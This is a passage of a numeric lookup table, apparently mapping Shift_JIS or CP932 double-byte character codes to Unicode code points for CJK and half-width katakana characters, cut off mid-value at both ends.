38729:24736,38730:24962,38731:25558,38732:26377,38733:26586,38734:28263,38735:28044,38736:29494,38737:29495,38738:30001,38739:31056,38740:35029,38741:35480,38742:36938,38743:37009,38744:37109,38745:38596,38746:34701,38747:22805,38748:20104,38749:20313,38750:19982,38751:35465,38752:36671,38753:38928,38754:20653,38755:24188,38756:22934,38757:23481,38758:24248,38759:25562,38760:25594,38761:25793,38762:26332,38763:26954,38764:27096,38765:27915,38766:28342,38767:29076,38768:29992,38769:31407,38770:32650,38771:32768,38772:33865,38773:33993,38774:35201,38775:35617,38776:36362,38777:36965,38778:38525,38779:39178,38780:24958,38781:25233,38782:27442,38784:27779,38785:28020,38786:32716,38787:32764,38788:28096,38789:32645,38790:34746,38791:35064,38792:26469,38793:33713,38794:38972,38795:38647,38796:27931,38797:32097,38798:33853,38799:37226,38800:20081,38801:21365,38802:23888,38803:27396,38804:28651,38805:34253,38806:34349,38807:35239,38808:21033,38809:21519,38810:23653,38811:26446,38812:26792,38813:29702,38814:29827,38815:30178,38816:35023,38817:35041,38818:37324,38819:38626,38820:38520,38821:24459,38822:29575,38823:31435,38824:33870,38825:25504,38826:30053,38827:21129,38828:27969,38829:28316,38830:29705,38831:30041,38832:30827,38833:31890,38834:38534,38835:31452,38836:40845,38837:20406,38838:24942,38839:26053,38840:34396,38841:20102,38842:20142,38843:20698,38844:20001,38845:20940,38846:23534,38847:26009,38848:26753,38849:28092,38850:29471,38851:30274,38852:30637,38853:31260,38854:31975,38855:33391,38856:35538,38857:36988,38858:37327,38859:38517,38860:38936,38861:21147,38862:32209,38863:20523,38864:21400,38865:26519,38866:28107,38867:29136,38868:29747,38869:33256,38870:36650,38871:38563,38872:40023,38873:40607,38874:29792,38875:22593,38876:28057,38877:32047,38878:39006,38879:20196,38880:20278,38881:20363,38882:20919,38883:21169,38884:23994,38885:24604,38886:29618,38887:31036,38888:33491,38889:37428,38890:38583,38891:38646,38892:38666,38893:40599,38894:40802,38895:26278,38896:27508,38897:21015,38898:21155,38899:28872,38900:35010,38901:24265,38902:24651,38903:24976,38904:28451,38905:29001,38906:31806,38907:32244,38908:32879,38976:34030,38977:36899,38978:37676,38979:21570,38980:39791,38981:27347,38982:28809,38983:36034,38984:36335,38985:38706,38986:21172,38987:23105,38988:24266,38989:24324,38990:26391,38991:27004,38992:27028,38993:28010,38994:28431,38995:29282,38996:29436,38997:31725,38998:32769,38999:32894,39e3:34635,39001:37070,39002:20845,39003:40595,39004:31108,39005:32907,39006:37682,39007:35542,39008:20525,39009:21644,39010:35441,39011:27498,39012:36036,39013:33031,39014:24785,39015:26528,39016:40434,39017:20121,39018:20120,39019:39952,39020:35435,39021:34241,39022:34152,39023:26880,39024:28286,39025:30871,39026:33109,39071:24332,39072:19984,39073:19989,39074:20010,39075:20017,39076:20022,39077:20028,39078:20031,39079:20034,39080:20054,39081:20056,39082:20098,39083:20101,39084:35947,39085:20106,39086:33298,39087:24333,39088:20110,39089:20126,39090:20127,39091:20128,39092:20130,39093:20144,39094:20147,39095:20150,39096:20174,39097:20173,39098:20164,39099:20166,39100:20162,39101:20183,39102:20190,39103:20205,39104:20191,39105:20215,39106:20233,39107:20314,39108:20272,39109:20315,39110:20317,39111:20311,39112:20295,39113:20342,39114:20360,39115:20367,39116:20376,39117:20347,39118:20329,39119:20336,39120:20369,39121:20335,39122:20358,39123:20374,39124:20760,39125:20436,39126:20447,39127:20430,39128:20440,39129:20443,39130:20433,39131:20442,39132:20432,39133:20452,39134:20453,39135:20506,39136:20520,39137:20500,39138:20522,39139:20517,39140:20485,39141:20252,39142:20470,39143:20513,39144:20521,39145:20524,39146:20478,39147:20463,39148:20497,39149:20486,39150:20547,39151:20551,39152:26371,39153:20565,39154:20560,39155:20552,39156:20570,39157:20566,39158:20588,39159:20600,39160:20608,39161:20634,39162:20613,39163:20660,39164:20658,39232:20681,39233:20682,39234:20659,39235:20674,39236:20694,39237:20702,39238:20709,39239:20717,39240:20707,39241:20718,39242:20729,39243:20725,39244:20745,39245:20737,39246:20738,39247:20758,39248:20757,39249:20756,39250:20762,39251:20769,39252:20794,39253:20791,39254:20796,39255:20795,39256:20799,39257:20800,39258:20818,39259:20812,39260:20820,39261:20834,39262:31480,39263:20841,39264:20842,39265:20846,39266:20864,39267:20866,39268:22232,39269:20876,39270:20873,39271:20879,39272:20881,39273:20883,39274:20885,39275:20886,39276:20900,39277:20902,39278:20898,39279:20905,39280:20906,39281:20907,39282:20915,39283:20913,39284:20914,39285:20912,39286:20917,39287:20925,39288:20933,39289:20937,39290:20955,39291:20960,39292:34389,39293:20969,39294:20973,39296:20976,39297:20981,39298:20990,39299:20996,39300:21003,39301:21012,39302:21006,39303:21031,39304:21034,39305:21038,39306:21043,39307:21049,39308:21071,39309:21060,39310:21067,39311:21068,39312:21086,39313:21076,39314:21098,39315:21108,39316:21097,39317:21107,39318:21119,39319:21117,39320:21133,39321:21140,39322:21138,39323:21105,39324:21128,39325:21137,39326:36776,39327:36775,39328:21164,39329:21165,39330:21180,39331:21173,39332:21185,39333:21197,39334:21207,39335:21214,39336:21219,39337:21222,39338:39149,39339:21216,39340:21235,39341:21237,39342:21240,39343:21241,39344:21254,39345:21256,39346:30008,39347:21261,39348:21264,39349:21263,39350:21269,39351:21274,39352:21283,39353:21295,39354:21297,39355:21299,39356:21304,39357:21312,39358:21318,39359:21317,39360:19991,39361:21321,39362:21325,39363:20950,39364:21342,39365:21353,39366:21358,39367:22808,39368:21371,39369:21367,39370:21378,39371:21398,39372:21408,39373:21414,39374:21413,39375:21422,39376:21424,39377:21430,39378:21443,39379:31762,39380:38617,39381:21471,39382:26364,39383:29166,39384:21486,39385:21480,39386:21485,39387:21498,39388:21505,39389:21565,39390:21568,39391:21548,39392:21549,39393:21564,39394:21550,39395:21558,39396:21545,39397:21533,39398:21582,39399:21647,39400:21621,39401:21646,39402:21599,39403:21617,39404:21623,39405:21616,39406:21650,39407:21627,39408:21632,39409:21622,39410:21636,39411:21648,39412:21638,39413:21703,39414:21666,39415:21688,39416:21669,39417:21676,39418:21700,39419:21704,39420:21672,39488:21675,39489:21698,39490:21668,39491:21694,39492:21692,39493:21720,39494:21733,39495:21734,39496:21775,39497:21780,39498:21757,39499:21742,39500:21741,39501:21754,39502:21730,39503:21817,39504:21824,39505:21859,39506:21836,39507:21806,39508:21852,39509:21829,39510:21846,39511:21847,39512:21816,39513:21811,39514:21853,39515:21913,39516:21888,39517:21679,39518:21898,39519:21919,39520:21883,39521:21886,39522:21912,39523:21918,39524:21934,39525:21884,39526:21891,39527:21929,39528:21895,39529:21928,39530:21978,39531:21957,39532:21983,39533:21956,39534:21980,39535:21988,39536:21972,39537:22036,39538:22007,39539:22038,39540:22014,39541:22013,39542:22043,39543:22009,39544:22094,39545:22096,39546:29151,39547:22068,39548:22070,39549:22066,39550:22072,39552:22123,39553:22116,39554:22063,39555:22124,39556:22122,39557:22150,39558:22144,39559:22154,39560:22176,39561:22164,39562:22159,39563:22181,39564:22190,39565:22198,39566:22196,39567:22210,39568:22204,39569:22209,39570:22211,39571:22208,39572:22216,39573:22222,39574:22225,39575:22227,39576:22231,39577:22254,39578:22265,39579:22272,39580:22271,39581:22276,39582:22281,39583:22280,39584:22283,39585:22285,39586:22291,39587:22296,39588:22294,39589:21959,39590:22300,39591:22310,39592:22327,39593:22328,39594:22350,39595:22331,39596:22336,39597:22351,39598:22377,39599:22464,39600:22408,39601:22369,39602:22399,39603:22409,39604:22419,39605:22432,39606:22451,39607:22436,39608:22442,39609:22448,39610:22467,39611:22470,39612:22484,39613:22482,39614:22483,39615:22538,39616:22486,39617:22499,39618:22539,39619:22553,39620:22557,39621:22642,39622:22561,39623:22626,39624:22603,39625:22640,39626:27584,39627:22610,39628:22589,39629:22649,39630:22661,39631:22713,39632:22687,39633:22699,39634:22714,39635:22750,39636:22715,39637:22712,39638:22702,39639:22725,39640:22739,39641:22737,39642:22743,39643:22745,39644:22744,39645:22757,39646:22748,39647:22756,39648:22751,39649:22767,39650:22778,39651:22777,39652:22779,39653:22780,39654:22781,39655:22786,39656:22794,39657:22800,39658:22811,39659:26790,39660:22821,39661:22828,39662:22829,39663:22834,39664:22840,39665:22846,39666:31442,39667:22869,39668:22864,39669:22862,39670:22874,39671:22872,39672:22882,39673:22880,39674:22887,39675:22892,39676:22889,39744:22904,39745:22913,39746:22941,39747:20318,39748:20395,39749:22947,39750:22962,39751:22982,39752:23016,39753:23004,39754:22925,39755:23001,39756:23002,39757:23077,39758:23071,39759:23057,39760:23068,39761:23049,39762:23066,39763:23104,39764:23148,39765:23113,39766:23093,39767:23094,39768:23138,39769:23146,39770:23194,39771:23228,39772:23230,39773:23243,39774:23234,39775:23229,39776:23267,39777:23255,39778:23270,39779:23273,39780:23254,39781:23290,39782:23291,39783:23308,39784:23307,39785:23318,39786:23346,39787:23248,39788:23338,39789:23350,39790:23358,39791:23363,39792:23365,39793:23360,39794:23377,39795:23381,39796:23386,39797:23387,39798:23397,39799:23401,39800:23408,39801:23411,39802:23413,39803:23416,39804:25992,39805:23418,39806:23424,39808:23427,39809:23462,39810:23480,39811:23491,39812:23495,39813:23497,39814:23508,39815:23504,39816:23524,39817:23526,39818:23522,39819:23518,39820:23525,39821:23531,39822:23536,39823:23542,39824:23539,39825:23557,39826:23559,39827:23560,39828:23565,39829:23571,39830:23584,39831:23586,39832:23592,39833:23608,39834:23609,39835:23617,39836:23622,39837:23630,39838:23635,39839:23632,39840:23631,39841:23409,39842:23660,39843:23662,39844:20066,39845:23670,39846:23673,39847:23692,39848:23697,39849:23700,39850:22939,39851:23723,39852:23739,39853:23734,39854:23740,39855:23735,39856:23749,39857:23742,39858:23751,39859:23769,39860:23785,39861:23805,39862:23802,39863:23789,39864:23948,39865:23786,39866:23819,39867:23829,39868:23831,39869:23900,39870:23839,39871:23835,39872:23825,39873:23828,39874:23842,39875:23834,39876:23833,39877:23832,39878:23884,39879:23890,39880:23886,39881:23883,39882:23916,39883:23923,39884:23926,39885:23943,39886:23940,39887:23938,39888:23970,39889:23965,39890:23980,39891:23982,39892:23997,39893:23952,39894:23991,39895:23996,39896:24009,39897:24013,39898:24019,39899:24018,39900:24022,39901:24027,39902:24043,39903:24050,39904:24053,39905:24075,39906:24090,39907:24089,39908:24081,39909:24091,39910:24118,39911:24119,39912:24132,39913:24131,39914:24128,39915:24142,39916:24151,39917:24148,39918:24159,39919:24162,39920:24164,39921:24135,39922:24181,39923:24182,39924:24186,39925:40636,39926:24191,39927:24224,39928:24257,39929:24258,39930:24264,39931:24272,39932:24271,4e4:24278,40001:24291,40002:24285,40003:24282,40004:24283,40005:24290,40006:24289,40007:24296,40008:24297,40009:24300,40010:24305,40011:24307,40012:24304,40013:24308,40014:24312,40015:24318,40016:24323,40017:24329,40018:24413,40019:24412,40020:24331,40021:24337,40022:24342,40023:24361,40024:24365,40025:24376,40026:24385,40027:24392,40028:24396,40029:24398,40030:24367,40031:24401,40032:24406,40033:24407,40034:24409,40035:24417,40036:24429,40037:24435,40038:24439,40039:24451,40040:24450,40041:24447,40042:24458,40043:24456,40044:24465,40045:24455,40046:24478,40047:24473,40048:24472,40049:24480,40050:24488,40051:24493,40052:24508,40053:24534,40054:24571,40055:24548,40056:24568,40057:24561,40058:24541,40059:24755,40060:24575,40061:24609,40062:24672,40064:24601,40065:24592,40066:24617,40067:24590,40068:24625,40069:24603,40070:24597,40071:24619,40072:24614,40073:24591,40074:24634,40075:24666,40076:24641,40077:24682,40078:24695,40079:24671,40080:24650,40081:24646,40082:24653,40083:24675,40084:24643,40085:24676,40086:24642,40087:24684,40088:24683,40089:24665,40090:24705,40091:24717,40092:24807,40093:24707,40094:24730,40095:24708,40096:24731,40097:24726,40098:24727,40099:24722,40100:24743,40101:24715,40102:24801,40103:24760,40104:24800,40105:24787,40106:24756,40107:24560,40108:24765,40109:24774,40110:24757,40111:24792,40112:24909,40113:24853,40114:24838,40115:24822,40116:24823,40117:24832,40118:24820,40119:24826,40120:24835,40121:24865,40122:24827,40123:24817,40124:24845,40125:24846,40126:24903,40127:24894,40128:24872,40129:24871,40130:24906,40131:24895,40132:24892,40133:24876,40134:24884,40135:24893,40136:24898,40137:24900,40138:24947,40139:24951,40140:24920,40141:24921,40142:24922,40143:24939,40144:24948,40145:24943,40146:24933,40147:24945,40148:24927,40149:24925,40150:24915,40151:24949,40152:24985,40153:24982,40154:24967,40155:25004,40156:24980,40157:24986,40158:24970,40159:24977,40160:25003,40161:25006,40162:25036,40163:25034,40164:25033,40165:25079,40166:25032,40167:25027,40168:25030,40169:25018,40170:25035,40171:32633,40172:25037,40173:25062,40174:25059,40175:25078,40176:25082,40177:25076,40178:25087,40179:25085,40180:25084,40181:25086,40182:25088,40183:25096,40184:25097,40185:25101,40186:25100,40187:25108,40188:25115,40256:25118,40257:25121,40258:25130,40259:25134,40260:25136,40261:25138,40262:25139,40263:25153,40264:25166,40265:25182,40266:25187,40267:25179,40268:25184,40269:25192,40270:25212,40271:25218,40272:25225,40273:25214,40274:25234,40275:25235,40276:25238,40277:25300,40278:25219,40279:25236,40280:25303,40281:25297,40282:25275,40283:25295,40284:25343,40285:25286,40286:25812,40287:25288,40288:25308,40289:25292,40290:25290,40291:25282,40292:25287,40293:25243,40294:25289,40295:25356,40296:25326,40297:25329,40298:25383,40299:25346,40300:25352,40301:25327,40302:25333,40303:25424,40304:25406,40305:25421,40306:25628,40307:25423,40308:25494,40309:25486,40310:25472,40311:25515,40312:25462,40313:25507,40314:25487,40315:25481,40316:25503,40317:25525,40318:25451,40320:25449,40321:25534,40322:25577,40323:25536,40324:25542,40325:25571,40326:25545,40327:25554,40328:25590,40329:25540,40330:25622,40331:25652,40332:25606,40333:25619,40334:25638,40335:25654,40336:25885,40337:25623,40338:25640,40339:25615,40340:25703,40341:25711,40342:25718,40343:25678,40344:25898,40345:25749,40346:25747,40347:25765,40348:25769,40349:25736,40350:25788,40351:25818,40352:25810,40353:25797,40354:25799,40355:25787,40356:25816,40357:25794,40358:25841,40359:25831,40360:33289,40361:25824,40362:25825,40363:25260,40364:25827,40365:25839,40366:25900,40367:25846,40368:25844,40369:25842,40370:25850,40371:25856,40372:25853,40373:25880,40374:25884,40375:25861,40376:25892,40377:25891,40378:25899,40379:25908,40380:25909,40381:25911,40382:25910,40383:25912,40384:30027,40385:25928,40386:25942,40387:25941,40388:25933,40389:25944,40390:25950,40391:25949,40392:25970,40393:25976,40394:25986,40395:25987,40396:35722,40397:26011,40398:26015,40399:26027,40400:26039,40401:26051,40402:26054,40403:26049,40404:26052,40405:26060,40406:26066,40407:26075,40408:26073,40409:26080,40410:26081,40411:26097,40412:26482,40413:26122,40414:26115,40415:26107,40416:26483,40417:26165,40418:26166,40419:26164,40420:26140,40421:26191,40422:26180,40423:26185,40424:26177,40425:26206,40426:26205,40427:26212,40428:26215,40429:26216,40430:26207,40431:26210,40432:26224,40433:26243,40434:26248,40435:26254,40436:26249,40437:26244,40438:26264,40439:26269,40440:26305,40441:26297,40442:26313,40443:26302,40444:26300,40512:26308,40513:26296,40514:26326,40515:26330,40516:26336,40517:26175,40518:26342,40519:26345,40520:26352,40521:26357,40522:26359,40523:26383,40524:26390,40525:26398,40526:26406,40527:26407,40528:38712,40529:26414,40530:26431,40531:26422,40532:26433,40533:26424,40534:26423,40535:26438,40536:26462,40537:26464,40538:26457,40539:26467,40540:26468,40541:26505,40542:26480,40543:26537,40544:26492,40545:26474,40546:26508,40547:26507,40548:26534,40549:26529,40550:26501,40551:26551,40552:26607,40553:26548,40554:26604,40555:26547,40556:26601,40557:26552,40558:26596,40559:26590,40560:26589,40561:26594,40562:26606,40563:26553,40564:26574,40565:26566,40566:26599,40567:27292,40568:26654,40569:26694,40570:26665,40571:26688,40572:26701,40573:26674,40574:26702,40576:26803,40577:26667,40578:26713,40579:26723,40580:26743,40581:26751,40582:26783,40583:26767,40584:26797,40585:26772,40586:26781,40587:26779,40588:26755,40589:27310,40590:26809,40591:26740,40592:26805,40593:26784,40594:26810,40595:26895,40596:26765,40597:26750,40598:26881,40599:26826,40600:26888,40601:26840,40602:26914,40603:26918,40604:26849,40605:26892,40606:26829,40607:26836,40608:26855,40609:26837,40610:26934,40611:26898,40612:26884,40613:26839,40614:26851,40615:26917,40616:26873,40617:26848,40618:26863,40619:26920,40620:26922,40621:26906,40622:26915,40623:26913,40624:26822,40625:27001,40626:26999,40627:26972,40628:27e3,40629:26987,40630:26964,40631:27006,40632:26990,40633:26937,40634:26996,40635:26941,40636:26969,40637:26928,40638:26977,40639:26974,40640:26973,40641:27009,40642:26986,40643:27058,40644:27054,40645:27088,40646:27071,40647:27073,40648:27091,40649:27070,40650:27086,40651:23528,40652:27082,40653:27101,40654:27067,40655:27075,40656:27047,40657:27182,40658:27025,40659:27040,40660:27036,40661:27029,40662:27060,40663:27102,40664:27112,40665:27138,40666:27163,40667:27135,40668:27402,40669:27129,40670:27122,40671:27111,40672:27141,40673:27057,40674:27166,40675:27117,40676:27156,40677:27115,40678:27146,40679:27154,40680:27329,40681:27171,40682:27155,40683:27204,40684:27148,40685:27250,40686:27190,40687:27256,40688:27207,40689:27234,40690:27225,40691:27238,40692:27208,40693:27192,40694:27170,40695:27280,40696:27277,40697:27296,40698:27268,40699:27298,40700:27299,40768:27287,40769:34327,40770:27323,40771:27331,40772:27330,40773:27320,40774:27315,40775:27308,40776:27358,40777:27345,40778:27359,40779:27306,40780:27354,40781:27370,40782:27387,40783:27397,40784:34326,40785:27386,40786:27410,40787:27414,40788:39729,40789:27423,40790:27448,40791:27447,40792:30428,40793:27449,40794:39150,40795:27463,40796:27459,40797:27465,40798:27472,40799:27481,40800:27476,40801:27483,40802:27487,40803:27489,40804:27512,40805:27513,40806:27519,40807:27520,40808:27524,40809:27523,40810:27533,40811:27544,40812:27541,40813:27550,40814:27556,40815:27562,40816:27563,40817:27567,40818:27570,40819:27569,40820:27571,40821:27575,40822:27580,40823:27590,40824:27595,40825:27603,40826:27615,40827:27628,40828:27627,40829:27635,40830:27631,40832:40638,40833:27656,40834:27667,40835:27668,40836:27675,40837:27684,40838:27683,40839:27742,40840:27733,40841:27746,40842:27754,40843:27778,40844:27789,40845:27802,40846:27777,40847:27803,40848:27774,40849:27752,40850:27763,40851:27794,40852:27792,40853:27844,40854:27889,40855:27859,40856:27837,40857:27863,40858:27845,40859:27869,40860:27822,40861:27825,40862:27838,40863:27834,40864:27867,40865:27887,40866:27865,40867:27882,40868:27935,40869:34893,40870:27958,40871:27947,40872:27965,40873:27960,40874:27929,40875:27957,40876:27955,40877:27922,40878:27916,40879:28003,40880:28051,40881:28004,40882:27994,40883:28025,40884:27993,40885:28046,40886:28053,40887:28644,40888:28037,40889:28153,40890:28181,40891:28170,40892:28085,40893:28103,40894:28134,40895:28088,40896:28102,40897:28140,40898:28126,40899:28108,40900:28136,40901:28114,40902:28101,40903:28154,40904:28121,40905:28132,40906:28117,40907:28138,40908:28142,40909:28205,40910:28270,40911:28206,40912:28185,40913:28274,40914:28255,40915:28222,40916:28195,40917:28267,40918:28203,40919:28278,40920:28237,40921:28191,40922:28227,40923:28218,40924:28238,40925:28196,40926:28415,40927:28189,40928:28216,40929:28290,40930:28330,40931:28312,40932:28361,40933:28343,40934:28371,40935:28349,40936:28335,40937:28356,40938:28338,40939:28372,40940:28373,40941:28303,40942:28325,40943:28354,40944:28319,40945:28481,40946:28433,40947:28748,40948:28396,40949:28408,40950:28414,40951:28479,40952:28402,40953:28465,40954:28399,40955:28466,40956:28364,161:65377,162:65378,163:65379,164:65380,165:65381,166:65382,167:65383,168:65384,169:65385,170:65386,171:65387,172:65388,173:65389,174:65390,175:65391,176:65392,177:65393,178:65394,179:65395,180:65396,181:65397,182:65398,183:65399,184:65400,185:65401,186:65402,187:65403,188:65404,189:65405,190:65406,191:65407,192:65408,193:65409,194:65410,195:65411,196:65412,197:65413,198:65414,199:65415,200:65416,201:65417,202:65418,203:65419,204:65420,205:65421,206:65422,207:65423,208:65424,209:65425,210:65426,211:65427,212:65428,213:65429,214:65430,215:65431,216:65432,217:65433,218:65434,219:65435,220:65436,221:65437,222:65438,223:65439,57408:28478,57409:28435,57410:28407,57411:28550,57412:28538,57413:28536,57414:28545,57415:28544,57416:28527,57417:28507,57418:28659,57419:28525,57420:28546,57421:28540,57422:28504,57423:28558,57424:28561,57425:28610,57426:28518,57427:28595,57428:28579,57429:28577,57430:28580,57431:28601,57432:28614,57433:28586,57434:28639,57435:28629,57436:28652,57437:28628,57438:28632,57439:28657,57440:28654,57441:28635,57442:28681,57443:28683,57444:28666,57445:28689,57446:28673,57447:28687,57448:28670,57449:28699,57450:28698,57451:28532,57452:28701,57453:28696,57454:28703,57455:28720,57456:28734,57457:28722,57458:28753,57459:28771,57460:28825,57461:28818,57462:28847,57463:28913,57464:28844,57465:28856,57466:28851,57467:28846,57468:28895,57469:28875,57470:28893,57472:28889,57473:28937,57474:28925,57475:28956,57476:28953,57477:29029,57478:29013,57479:29064,57480:29030,57481:29026,57482:29004,57483:29014,57484:29036,57485:29071,57486:29179,57487:29060,57488:29077,57489:29096,57490:29100,57491:29143,57492:29113,57493:29118,57494:29138,57495:29129,57496:29140,57497:29134,57498:29152,57499:29164,57500:29159,57501:29173,57502:29180,57503:29177,57504:29183,57505:29197,57506:29200,57507:29211,57508:29224,57509:29229,57510:29228,57511:29232,57512:29234,57513:29243,57514:29244,57515:29247,57516:29248,57517:29254,57518:29259,57519:29272,57520:29300,57521:29310,57522:29314,57523:29313,57524:29319,57525:29330,57526:29334,57527:29346,57528:29351,57529:29369,57530:29362,57531:29379,57532:29382,57533:29380,57534:29390,57535:29394,57536:29410,57537:29408,57538:29409,57539:29433,57540:29431,57541:20495,57542:29463,57543:29450,57544:29468,57545:29462,57546:29469,57547:29492,57548:29487,57549:29481,57550:29477,57551:29502,57552:29518,57553:29519,57554:40664,57555:29527,57556:29546,57557:29544,57558:29552,57559:29560,57560:29557,57561:29563,57562:29562,57563:29640,57564:29619,57565:29646,57566:29627,57567:29632,57568:29669,57569:29678,57570:29662,57571:29858,57572:29701,57573:29807,57574:29733,57575:29688,57576:29746,57577:29754,57578:29781,57579:29759,57580:29791,57581:29785,57582:29761,57583:29788,57584:29801,57585:29808,57586:29795,57587:29802,57588:29814,57589:29822,57590:29835,57591:29854,57592:29863,57593:29898,57594:29903,57595:29908,57596:29681,57664:29920,57665:29923,57666:29927,57667:29929,57668:29934,57669:29938,57670:29936,57671:29937,57672:29944,57673:29943,57674:29956,57675:29955,57676:29957,57677:29964,57678:29966,57679:29965,57680:29973,57681:29971,57682:29982,57683:29990,57684:29996,57685:30012,57686:30020,57687:30029,57688:30026,57689:30025,57690:30043,57691:30022,57692:30042,57693:30057,57694:30052,57695:30055,57696:30059,57697:30061,57698:30072,57699:30070,57700:30086,57701:30087,57702:30068,57703:30090,57704:30089,57705:30082,57706:30100,57707:30106,57708:30109,57709:30117,57710:30115,57711:30146,57712:30131,57713:30147,57714:30133,57715:30141,57716:30136,57717:30140,57718:30129,57719:30157,57720:30154,57721:30162,57722:30169,57723:30179,57724:30174,57725:30206,57726:30207,57728:30204,57729:30209,57730:30192,57731:30202,57732:30194,57733:30195,57734:30219,57735:30221,57736:30217,57737:30239,57738:30247,57739:30240,57740:30241,57741:30242,57742:30244,57743:30260,57744:30256,57745:30267,57746:30279,57747:30280,57748:30278,57749:30300,57750:30296,57751:30305,57752:30306,57753:30312,57754:30313,57755:30314,57756:30311,57757:30316,57758:30320,57759:30322,57760:30326,57761:30328,57762:30332,57763:30336,57764:30339,57765:30344,57766:30347,57767:30350,57768:30358,57769:30355,57770:30361,57771:30362,57772:30384,57773:30388,57774:30392,57775:30393,57776:30394,57777:30402,57778:30413,57779:30422,57780:30418,57781:30430,57782:30433,57783:30437,57784:30439,57785:30442,57786:34351,57787:30459,57788:30472,57789:30471,57790:30468,57791:30505,57792:30500,57793:30494,57794:30501,57795:30502,57796:30491,57797:30519,57798:30520,57799:30535,57800:30554,57801:30568,57802:30571,57803:30555,57804:30565,57805:30591,57806:30590,57807:30585,57808:30606,57809:30603,57810:30609,57811:30624,57812:30622,57813:30640,57814:30646,57815:30649,57816:30655,57817:30652,57818:30653,57819:30651,57820:30663,57821:30669,57822:30679,57823:30682,57824:30684,57825:30691,57826:30702,57827:30716,57828:30732,57829:30738,57830:31014,57831:30752,57832:31018,57833:30789,57834:30862,57835:30836,57836:30854,57837:30844,57838:30874,57839:30860,57840:30883,57841:30901,57842:30890,57843:30895,57844:30929,57845:30918,57846:30923,57847:30932,57848:30910,57849:30908,57850:30917,57851:30922,57852:30956,57920:30951,57921:30938,57922:30973,57923:30964,57924:30983,57925:30994,57926:30993,57927:31001,57928:31020,57929:31019,57930:31040,57931:31072,57932:31063,57933:31071,57934:31066,57935:31061,57936:31059,57937:31098,57938:31103,57939:31114,57940:31133,57941:31143,57942:40779,57943:31146,57944:31150,57945:31155,57946:31161,57947:31162,57948:31177,57949:31189,57950:31207,57951:31212,57952:31201,57953:31203,57954:31240,57955:31245,57956:31256,57957:31257,57958:31264,57959:31263,57960:31104,57961:31281,57962:31291,57963:31294,57964:31287,57965:31299,57966:31319,57967:31305,57968:31329,57969:31330,57970:31337,57971:40861,57972:31344,57973:31353,57974:31357,57975:31368,57976:31383,57977:31381,57978:31384,57979:31382,57980:31401,57981:31432,57982:31408,57984:31414,57985:31429,57986:31428,57987:31423,57988:36995,57989:31431,57990:31434,57991:31437,57992:31439,57993:31445,57994:31443,57995:31449,57996:31450,57997:31453,57998:31457,57999:31458,58e3:31462,58001:31469,58002:31472,58003:31490,58004:31503,58005:31498,58006:31494,58007:31539,58008:31512,58009:31513,58010:31518,58011:31541,58012:31528,58013:31542,58014:31568,58015:31610,58016:31492,58017:31565,58018:31499,58019:31564,58020:31557,58021:31605,58022:31589,58023:31604,58024:31591,58025:31600,58026:31601,58027:31596,58028:31598,58029:31645,58030:31640,58031:31647,58032:31629,58033:31644,58034:31642,58035:31627,58036:31634,58037:31631,58038:31581,58039:31641,58040:31691,58041:31681,58042:31692,58043:31695,58044:31668,58045:31686,58046:31709,58047:31721,58048:31761,58049:31764,58050:31718,58051:31717,58052:31840,58053:31744,58054:31751,58055:31763,58056:31731,58057:31735,58058:31767,58059:31757,58060:31734,58061:31779,58062:31783,58063:31786,58064:31775,58065:31799,58066:31787,58067:31805,58068:31820,58069:31811,58070:31828,58071:31823,58072:31808,58073:31824,58074:31832,58075:31839,58076:31844,58077:31830,58078:31845,58079:31852,58080:31861,58081:31875,58082:31888,58083:31908,58084:31917,58085:31906,58086:31915,58087:31905,58088:31912,58089:31923,58090:31922,58091:31921,58092:31918,58093:31929,58094:31933,58095:31936,58096:31941,58097:31938,58098:31960,58099:31954,58100:31964,58101:31970,58102:39739,58103:31983,58104:31986,58105:31988,58106:31990,58107:31994,58108:32006,58176:32002,58177:32028,58178:32021,58179:32010,58180:32069,58181:32075,58182:32046,58183:32050,58184:32063,58185:32053,58186:32070,58187:32115,58188:32086,58189:32078,58190:32114,58191:32104,58192:32110,58193:32079,58194:32099,58195:32147,58196:32137,58197:32091,58198:32143,58199:32125,58200:32155,58201:32186,58202:32174,58203:32163,58204:32181,58205:32199,58206:32189,58207:32171,58208:32317,58209:32162,58210:32175,58211:32220,58212:32184,58213:32159,58214:32176,58215:32216,58216:32221,58217:32228,58218:32222,58219:32251,58220:32242,58221:32225,58222:32261,58223:32266,58224:32291,58225:32289,58226:32274,58227:32305,58228:32287,58229:32265,58230:32267,58231:32290,58232:32326,58233:32358,58234:32315,58235:32309,58236:32313,58237:32323,58238:32311,58240:32306,58241:32314,58242:32359,58243:32349,58244:32342,58245:32350,58246:32345,58247:32346,58248:32377,58249:32362,58250:32361,58251:32380,58252:32379,58253:32387,58254:32213,58255:32381,58256:36782,58257:32383,58258:32392,58259:32393,58260:32396,58261:32402,58262:32400,58263:32403,58264:32404,58265:32406,58266:32398,58267:32411,58268:32412,58269:32568,58270:32570,58271:32581,58272:32588,58273:32589,58274:32590,58275:32592,58276:32593,58277:32597,58278:32596,58279:32600,58280:32607,58281:32608,58282:32616,58283:32617,58284:32615,58285:32632,58286:32642,58287:32646,58288:32643,58289:32648,58290:32647,58291:32652,58292:32660,58293:32670,58294:32669,58295:32666,58296:32675,58297:32687,58298:32690,58299:32697,58300:32686,58301:32694,58302:32696,58303:35697,58304:32709,58305:32710,58306:32714,58307:32725,58308:32724,58309:32737,58310:32742,58311:32745,58312:32755,58313:32761,58314:39132,58315:32774,58316:32772,58317:32779,58318:32786,58319:32792,58320:32793,58321:32796,58322:32801,58323:32808,58324:32831,58325:32827,58326:32842,58327:32838,58328:32850,58329:32856,58330:32858,58331:32863,58332:32866,58333:32872,58334:32883,58335:32882,58336:32880,58337:32886,58338:32889,58339:32893,58340:32895,58341:32900,58342:32902,58343:32901,58344:32923,58345:32915,58346:32922,58347:32941,58348:20880,58349:32940,58350:32987,58351:32997,58352:32985,58353:32989,58354:32964,58355:32986,58356:32982,58357:33033,58358:33007,58359:33009,58360:33051,58361:33065,58362:33059,58363:33071,58364:33099,58432:38539,58433:33094,58434:33086,58435:33107,58436:33105,58437:33020,58438:33137,58439:33134,58440:33125,58441:33126,58442:33140,58443:33155,58444:33160,58445:33162,58446:33152,58447:33154,58448:33184,58449:33173,58450:33188,58451:33187,58452:33119,58453:33171,58454:33193,58455:33200,58456:33205,58457:33214,58458:33208,58459:33213,58460:33216,58461:33218,58462:33210,58463:33225,58464:33229,58465:33233,58466:33241,58467:33240,58468:33224,58469:33242,58470:33247,58471:33248,58472:33255,58473:33274,58474:33275,58475:33278,58476:33281,58477:33282,58478:33285,58479:33287,58480:33290,58481:33293,58482:33296,58483:33302,58484:33321,58485:33323,58486:3333